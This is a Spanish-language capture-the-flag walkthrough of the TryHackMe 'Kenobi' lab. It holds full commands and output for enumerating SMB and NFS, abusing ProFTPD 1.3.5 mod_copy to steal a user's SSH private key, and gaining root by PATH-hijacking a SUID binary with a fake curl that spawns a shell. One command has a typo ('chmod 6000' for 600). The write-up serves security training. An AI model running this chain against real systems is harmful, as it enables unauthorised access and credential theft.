Entrada

Kenobi Writeup - TryHackMe

¡Hola!

En este writeup, exploraremos la sala Kenobi de TryHackMe, de dificultad fácil según la plataforma. A través de esta sala, abordaremos la explotación de una máquina Linux, realizaremos la enumeración del servicio Samba para los recursos compartidos, manipularemos una versión vulnerable de ProFTPd y llevaremos a cabo la escalada de privilegios mediante la manipulación de la variable PATH.

¡Empecemos!

Reconocimiento activo


Como primer paso, lanzamos el comando ping desde nuestro equipo atacante para verificar si la máquina objetivo está activa.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.159.70
PING 10.10.159.70 (10.10.159.70) 56(84) bytes of data.
64 bytes from 10.10.159.70: icmp_seq=1 ttl=61 time=293 ms

--- 10.10.159.70 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 293.459/293.459/293.459/0.000 ms

Dado que el TTL es cercano a 64, podemos inferir que la máquina objetivo probablemente sea Linux.

Escaneo


A continuación, realizamos un escaneo con Nmap para identificar los puertos abiertos en el sistema objetivo.

1
❯ nmap -p- --open -n -sS -Pn --min-rate 5000 10.10.159.70 -oG allPorts.txt

Donde:

  • -p-: indica que se escaneen todos los puertos posibles (65535) del objetivo.
  • --open: indica que se muestren solo los puertos abiertos, ignorando los cerrados o filtrados.
  • -n: indica que no se haga resolución DNS.
  • -sS: indica que se use el tipo de escaneo TCP SYN.
  • -Pn: indica que se debe omitir el descubrimiento de hosts y asumir que todos los objetivos están vivos.
  • --min-rate 5000: indica que se envíen al menos 5000 paquetes por segundo.
  • 10.10.159.70: indica la dirección IP del objetivo a escanear.
  • -oG allPorts: indica que se guarde el resultado del escaneo en formato grepeable en el archivo allPorts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-02 15:50 -05
Nmap scan report for 10.10.159.70
Host is up (0.30s latency).
Not shown: 65524 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
33913/tcp open  unknown
44957/tcp open  unknown
48581/tcp open  unknown
57083/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 14.98 seconds

Vemos que hay varios puertos habilitados, entre ellos el 21 (FTP), 22 (SSH), 80 (HTTP), 111 (RPC), 139 y 445 (SMB) y otros de carácter desconocido de momento.

Enumeración


Seguidamente, efectuamos una enumeración de las versiones de los servicios asociados a los puertos abiertos. Además, activamos los scripts predeterminados de Nmap para realizar pruebas complementarias sobre los puertos y servicios identificados, con el propósito de obtener más información sobre la configuración y posibles vulnerabilidades del sistema objetivo.

1
❯ nmap -p 21,22,80,111,139,445,2049,33913,44957,48581,57083 -sV -sC --min-rate 5000 -oN services.txt 10.10.159.70

Donde:

  • -p 21,22,80,111,139,445,2049,33913,44957,48581,57083: indica que se escaneen solo los puertos especificados del objetivo.
  • -sV: indica que se sondeen los puertos abiertos para determinar la información de servicio y versión.
  • -sC: indica que se ejecute el script por defecto de Nmap, que realiza varias pruebas comunes como detección de vulnerabilidades o enumeración de recursos.
  • --min-rate 5000: indica que se envíen al menos 5000 paquetes por segundo.
  • 10.10.159.70: indica la dirección IP del objetivo a escanear.
  • -oN services.txt: indica que se guarde el resultado del escaneo en formato normal en el archivo services.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-02 15:57 -05
Nmap scan report for 10.10.159.70
Host is up (0.29s latency).

PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         ProFTPD 1.3.5
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b3ad834149e95d168d3b0f057be2c0ae (RSA)
|   256 f8277d642997e6f865546522f7c81d8a (ECDSA)
|_  256 5a06edebb6567e4c01ddeabcbafa3379 (ED25519)
80/tcp    open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      35999/tcp6  mountd
|   100005  1,2,3      38500/udp   mountd
|   100005  1,2,3      39280/udp6  mountd
|   100005  1,2,3      44957/tcp   mountd
|   100021  1,3,4      33913/tcp   nlockmgr
|   100021  1,3,4      34403/udp6  nlockmgr
|   100021  1,3,4      35097/tcp6  nlockmgr
|   100021  1,3,4      53718/udp   nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp  open  nfs_acl     2-3 (RPC #100227)
33913/tcp open  nlockmgr    1-4 (RPC #100021)
44957/tcp open  mountd      1-3 (RPC #100005)
48581/tcp open  mountd      1-3 (RPC #100005)
57083/tcp open  mountd      1-3 (RPC #100005)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2023-04-02T20:57:16
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2023-04-02T15:57:17-05:00
|_clock-skew: mean: 1h39m59s, deviation: 2h53m13s, median: 0s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.91 seconds

En el informe se destacan varios aspectos relevantes, entre los cuales se encuentra la posibilidad de que el sistema operativo de la máquina objetivo sea Ubuntu, así como la versión de los servicios FTP (ProFTPD 1.3.5), SSH (OpenSSH 7.2p2) y HTTP (Apache 2.4.18).

Además, se destaca que en el archivo robots.txt, la entrada admin.html correspondiente al servidor web se encuentra deshabilitada. Por último, vemos que el servicio RPC otorga acceso a un sistema de archivos en red NFS (Network File System), lo que indica la presencia de una carpeta compartida en red.

HTTP - 80

Tras identificar un servicio HTTP en el puerto 80, exploramos el contenido de la página web. Como vemos se trata de una página web de una imagen estática de la película “Star Wars - Episodio III: La Venganza de los Sith”. Examinamos cada uno de los apartados de la página y su código fuente, pero no encontramos nada relevante.

web

Accedimos al directorio previamente oculto (admin.html) y encontramos una imagen GIF del personaje ficticio de Star Wars, Almirante Ackbar, pronunciando su famosa línea “It’s a trap”. Esta situación la interpretamos como una señal de que este camino no conducía a una explotación exitosa del sistema. Por lo tanto, decidimos continuar con la enumeración de los servicios previamente identificados.

admin

SMB - 445,139

A continuación, procedemos a realizar la enumeración del servicio SMB. En primer lugar, listamos los recursos compartidos con la herramienta smbclient sin proporcionar contraseñas.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ smbclient -L //10.10.159.70 -N

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	anonymous       Disk      
	IPC$            IPC       IPC Service (kenobi server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            KENOBI

Entre los distintos recursos identificados, destaca particularmente aquel denominado como anonymous. Para acceder al mismo, utilizamos nuevamente la herramienta smbclient, empleando el siguiente comando:

1
2
3
4
5
6
7
8
9
❯ smbclient //10.10.159.70/anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep  4 05:49:09 2019
  ..                                  D        0  Wed Sep  4 05:56:07 2019
  log.txt                             N    12237  Wed Sep  4 05:49:09 2019

		9204224 blocks of size 1024. 6877100 blocks available
smb: \>

Logramos acceder al recurso en el que se aloja un único archivo denominado log.txt. Para su posterior análisis, procedemos a descargar dicho archivo en la máquina local mediante el uso del comando get.

1
2
3
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (10,1 KiloBytes/sec) (average 10,1 KiloBytes/sec)
smb: \>

Una vez que se ha completado la descarga del archivo, examinamos su contenido detalladamente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
cat log.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: log.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ Generating public/private rsa key pair.
   2   │ Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): 
   3   │ Created directory '/home/kenobi/.ssh'.
   4   │ Enter passphrase (empty for no passphrase): 
   5   │ Enter same passphrase again: 
   6   │ Your identification has been saved in /home/kenobi/.ssh/id_rsa.
   7   │ Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
   8   │ The key fingerprint is:
   9   │ SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
  10   │ The key's randomart image is:
  11   │ +---[RSA 2048]----+
  12   │ |                 |
  13   │ |           ..    |
  14   │ |        . o. .   |
  15   │ |       ..=o +.   |
  16   │ |      . So.o++o. |
  17   │ |  o ...+oo.Bo*o  |
  18   │ | o o ..o.o+.@oo  |
  19   │ |  . . . E .O+= . |
  20   │ |     . .   oBo.  |
  21   │ +----[SHA256]-----+
  22   │ 
  23   │ # This is a basic ProFTPD configuration file (rename it to 
  24   │ # 'proftpd.conf' for actual use.  It establishes a single server
  25   │ # and a single anonymous login.  It assumes that you have a user/group
  26   │ # "nobody" and "ftp" for normal operation and anon.
  27   │ 
  28   │ ServerName          "ProFTPD Default Installation"
  29   │ ServerType          standalone
  30   │ DefaultServer           on

[...]

El archivo descargado resulta ser extenso, conteniendo información relevante sobre diversas configuraciones de servicios previamente identificados durante el escaneo inicial del sistema. Es preciso destacar, en particular, la sección inicial en la que se detalla la creación de una clave pública y privada correspondiente al usuario kenobi, y su respectiva ubicación dentro del sistema.

Considerando la información recopilada, nuestro siguiente objetivo se centra en obtener la clave privada correspondiente al usuario kenobi, con el fin de establecer una conexión segura vía SSH y acceder al sistema en cuestión con dicho usuario.

FTP - 21

A continuación, iniciamos el proceso de enumeración del servicio FTP. En primer lugar, verificamos si es posible acceder al servidor como usuario anonymous, sin necesidad de proporcionar una contraseña de acceso.

1
2
3
4
5
6
7
8
9
❯ ftp 10.10.159.70
Connected to 10.10.159.70.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.159.70]
Name (10.10.159.70:juanr): anonymous
331 Anonymous login ok, send your complete email address as your password
Password: 
530 Login incorrect.
ftp: Login failed
ftp>

Como vemos, no ha sido posible acceder al servidor como usuario anonymous.

NFS

Como mencionamos anteriormente, el servidor ejecuta un servicio RPC en el puerto 111 que permite el acceso a un sistema de archivos NFS presente en el sistema. Por lo tanto, procedemos con la enumeración detallada de los sistemas de archivos NFS compartidos mediante el uso de los siguientes scripts NSE de Nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.159.70
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-02 17:24 -05
Nmap scan report for 10.10.159.70
Host is up (0.29s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount: 
|_  /var *
| nfs-statfs: 
|   Filesystem  1K-blocks  Used       Available  Use%  Maxfilesize  Maxlink
|_  /var        9204224.0  1836540.0  6877088.0  22%   16.0T        32000
| nfs-ls: Volume /var
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID  GID  SIZE  TIME                 FILENAME
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  .
| rwxr-xr-x   0    0    4096  2019-09-04T12:27:33  ..
| rwxr-xr-x   0    0    4096  2019-09-04T12:09:49  backups
| rwxr-xr-x   0    0    4096  2019-09-04T10:37:44  cache
| rwxrwxrwt   0    0    4096  2019-09-04T08:43:56  crash
| rwxrwsr-x   0    50   4096  2016-04-12T20:14:23  local
| rwxrwxrwx   0    0    9     2019-09-04T08:41:33  lock
| rwxrwxr-x   0    108  4096  2019-09-04T10:37:44  log
| rwxr-xr-x   0    0    4096  2019-01-29T23:27:41  snap
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  www
|_

Nmap done: 1 IP address (1 host up) scanned in 4.31 seconds

El resultado de la enumeración detallada revela que la carpeta compartida a nivel de red es /var.

Explotación


Mod Copy

Durante la enumeración de la versión de los servicios, obtuvimos la versión del servicio FTP, la cual es ProFTPD 1.3.5. Al buscar posibles vulnerabilidades para esta versión, encontramos las siguientes:

1
2
3
4
5
6
7
8
9
10
❯ searchsploit ProFTPD 1.3.5
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                      |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                                                                                           | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                                                                                 | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                                                                                             | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                                                                                           | linux/remote/36742.txt
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Se muestra una lista de exploits que hacen referencia a la vulnerabilidad mod_copy para la versión del servicio FTP que identificamos durante la enumeración. Esta vulnerabilidad es una falla de seguridad que permite a un atacante remoto copiar archivos de cualquier directorio en el servidor que esté accesible a través del servicio FTP, sin necesidad de autenticación. Esto se realiza por medio de los comandos CPFR (para copiar) y CPTO (para pegar).

A continuación, se presenta la forma en que el exploit ProFTPd 1.3.5 - ‘mod_copy’ Remote Command Execution (2) aprovecha esta vulnerabilidad para ejecutar código de forma remota en el servidor objetivo.

Considerando el contexto, es importante mencionar que nuestro objetivo actual es obtener la clave privada del usuario kenobi para lograr acceso al servidor. Por lo tanto, en lugar de explorar la vulnerabilidad mod_copy que permitiría la ejecución remota de código, nuestra estrategia será emplear los comandos CPFR y CPTO a través del servicio FTP para copiar la clave privada desde el servidor hacia nuestra máquina.

Para verificar si es posible ejecutar los comandos CPFR y CPTO, procedemos a obtener ayuda sobre los comandos específicos admitidos por el servidor FTP mediante el comando site help.

1
2
3
4
5
6
7
8
9
ftp> site help
214-The following SITE commands are recognized (* =>'s unimplemented)
 CPFR <sp> pathname
 CPTO <sp> pathname
 HELP
 CHGRP
 CHMOD
214 Direct comments to root@kenobi
ftp>

Podemos observar que los comandos CPFR y CPTO están permitidos en el servidor. Por lo tanto, procedemos a copiar la llave privada en el directorio del servicio web (/var/www/html/) para poder acceder a ella a través del navegador.

1
2
3
4
5
ftp> site cpfr /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
ftp> site cpto /var/www/html/id_rsa
550 cpto: Permission denied
ftp>

Aparentemente, no disponemos de permisos de lectura en el directorio mencionado, lo cual nos impide realizar la copia de la llave privada.

A continuación, intentamos copiar la llave privada a la carpeta /var que se comparte en red. De esta manera, podremos montar el NFS y acceder al archivo posteriormente.

1
2
3
4
5
ftp> site cpfr /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
ftp> site cpto /var/tmp/id_rsa
250 Copy successful
ftp>

Podemos verificar que la copia se realizó correctamente. Ahora, procedemos a montar el sistema de archivos NFS. Para hacerlo, creamos una carpeta en el directorio /mnt de nuestra máquina y montamos el NFS en ella. Finalmente, nos dirigimos a la carpeta montada para verificar su contenido:

1
2
3
4
5
6
7
8
9
mkdir /mnt/kenobi
❯ mount 10.10.159.70:/var/tmp/ /mnt/kenobi/
❯ cd /mnt/kenobi
❯ ll
drwx------ root  root  4.0 KB Wed Sep  4 07:09:48 2019  systemd-private-2408059707bc41329243d2fc9e613f1e-systemd-timesyncd.service-a5PktM
drwx------ root  root  4.0 KB Wed Sep  4 07:28:49 2019  systemd-private-6f4acd341c0b40569c92cee906c3edc9-systemd-timesyncd.service-z5o4Aw
drwx------ root  root  4.0 KB Sun Apr  2 15:48:34 2023  systemd-private-d579f543b42f4d1c9b69865931545b16-systemd-timesyncd.service-rquHrQ
drwx------ root  root  4.0 KB Wed Sep  4 03:49:43 2019  systemd-private-e69bbb0653ce4ee3bd9ae0d93d2a5806-systemd-timesyncd.service-zObUdn
.rw-r--r-- juanr juanr 1.6 KB Sun Apr  2 17:50:43 2023  id_rsa

Una vez confirmado que la llave se encuentra en el directorio de montaje, procedemos a copiarla a un directorio local de nuestra máquina.

1
cp /mnt/kenobi/id_rsa .

Para poder autenticarnos por SSH utilizando la llave privada, es necesario otorgarle los permisos adecuados mediante el comando chmod 600:

1
chmod 6000 id_rsa

Finalmente, utilizamos la llave privada para conectarnos al servidor a través de SSH, especificando el usuario kenobi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ ssh -i id_rsa kenobi@10.10.159.70
The authenticity of host '10.10.159.70 (10.10.159.70)' can't be established.
ED25519 key fingerprint is SHA256:GXu1mgqL0Wk2ZHPmEUVIS0hvusx4hk33iTcwNKPktFw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.159.70' (ED25519) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.

Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$ id 
uid=1000(kenobi) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
kenobi@kenobi:~$

Una vez que hemos obtenido acceso al sistema, procedemos leer la flag de usuario en su directorio principal.

1
2
kenobi@kenobi:~$ cat user.txt 
d0b0f3f53b6caa53****************

Escalación de privilegios


Después de obtener una shell en la máquina, nuestro objetivo es elevar nuestros privilegios y obtener acceso como usuario root. Una buena practica es listar los privilegios que tiene el usuario actual para ejecutar comandos con sudo. Lamentablemente, esta acción nos solicita la contraseña del usuario kenobi, la cual desconocemos.

A continuación, listamos los binarios SUID con el fin de identificar posibles binarios con permisos mal configurados que puedan permitirnos escalar privilegios.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
kenobi@kenobi:~$ find / -perm -4000 -type f -user root 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6

Obtenemos un binario inusual en el sistema llamado menu. Este binario no es común y no se encuentra en la lista de binarios de GTFObins. En estos casos, es posible que se trate de un binario personalizado creado por un usuario del sistema. Para confirmar esto, lo ejecutamos de manera normal.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Sun, 02 Apr 2023 23:19:52 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html

La utilidad menu parece ser un programa personalizado que realiza varias acciones y muestra información en la máquina. Sin embargo, es importante tener en cuenta que este programa ejecuta comandos en la máquina y si estos comandos no se encuentran declarados con una ruta absoluta, podría ser peligroso.

PATH hijacking

Recordemos que un binario puede ser llamado de forma relativa, como por ejemplo curl, o de manera absoluta, como /usr/bin/curl. Si se llama de manera relativa, existe un riesgo de seguridad conocido como PATH Hijacking en el sistema, el cual puede ser explotado por un atacante para ejecutar código malicioso. Por lo tanto, es recomendable siempre utilizar la ruta absoluta al llamar un binario.

En esencia, el PATH Hijacking ocurre cuando un atacante coloca un archivo malicioso con el mismo nombre que un archivo legítimo en una de las rutas de búsqueda especificadas en la variable de entorno PATH del sistema operativo.

Cuando un usuario ejecuta un comando desde la línea de comandos, el sistema operativo buscará el archivo correspondiente en cada una de las rutas de búsqueda especificadas en la variable de entorno PATH. Si un archivo malicioso se encuentra en una de estas rutas antes que el archivo legítimo, existe un riesgo de seguridad ya que el sistema operativo ejecutará el archivo malicioso en lugar del archivo esperado. De esta manera, el atacante podría ejecutar código malicioso en la computadora de la víctima.

En este contexto, un atacante puede forzar al sistema a buscar el binario curl en un directorio de su elección, donde previamente ha colocado su propia versión de curl que ejecuta una acción maliciosa.

Si extraemos las cadenas de texto legibles del archivo binario, podemos identificar los comandos que se están ejecutando en el sistema.

1
2
3
4
5
6
7
8
9
10
11
12
13
[...]

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
 Invalid choice

[...]

Observamos que los binarios se están ejecutando de forma relativa, lo que nos permite aplicar un ataque de PATH hijacking. Para llevar a cabo este ataque, primero creamos un binario malicioso de curl que abra una shell y le otorgamos permisos de ejecución.

1
2
kenobi@kenobi:/tmp$ echo "/bin/bash" > curl
kenobi@kenobi:/tmp$ chmod +x curl

Posteriormente, modificamos la variable de entorno PATH, que contiene las ubicaciones de los binarios en Linux y se busca de manera descendente para ejecutarlos. En este caso, debemos colocar nuestro directorio actual de trabajo (/tmp) como el primero en el PATH para asegurarnos de que el sistema encuentre nuestro binario malicioso antes que el legítimo. Para lograr esto, ejecutamos el siguiente comando:

1
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH

Podemos observar que el directorio /tmp se encuentra ahora en la posición inicial del PATH, gracias al comando ejecutado anteriormente.

1
2
kenobi@kenobi:/tmp$ echo $PATH
/tmp:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

En este escenario es fundamental tener en cuenta que el binario menu se ejecuta con los privilegios de superusuario (root). Si el usuario selecciona la opción 1 del menú, que implica la ejecución del comando curl, el binario curl se ejecutará como usuario root. Dado que previamente hemos creado una versión maliciosa del binario curl y hemos modificado la variable PATH para que el sistema busque primero en el directorio /tmp, se ejecutará nuestra versión maliciosa de curl en lugar de la original, lo que resultará en la apertura de una shell con permisos de usuario root.

1
2
3
4
5
6
7
8
9
10
11
12
kenobi@kenobi:/tmp$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@kenobi:/tmp# id       
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)

Finalmente, accedemos al directorio /root y leemos la última flag.

1
2
root@kenobi:/root# cat root.txt 
177b3cd8562289f3****************

¡Happy Hacking!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.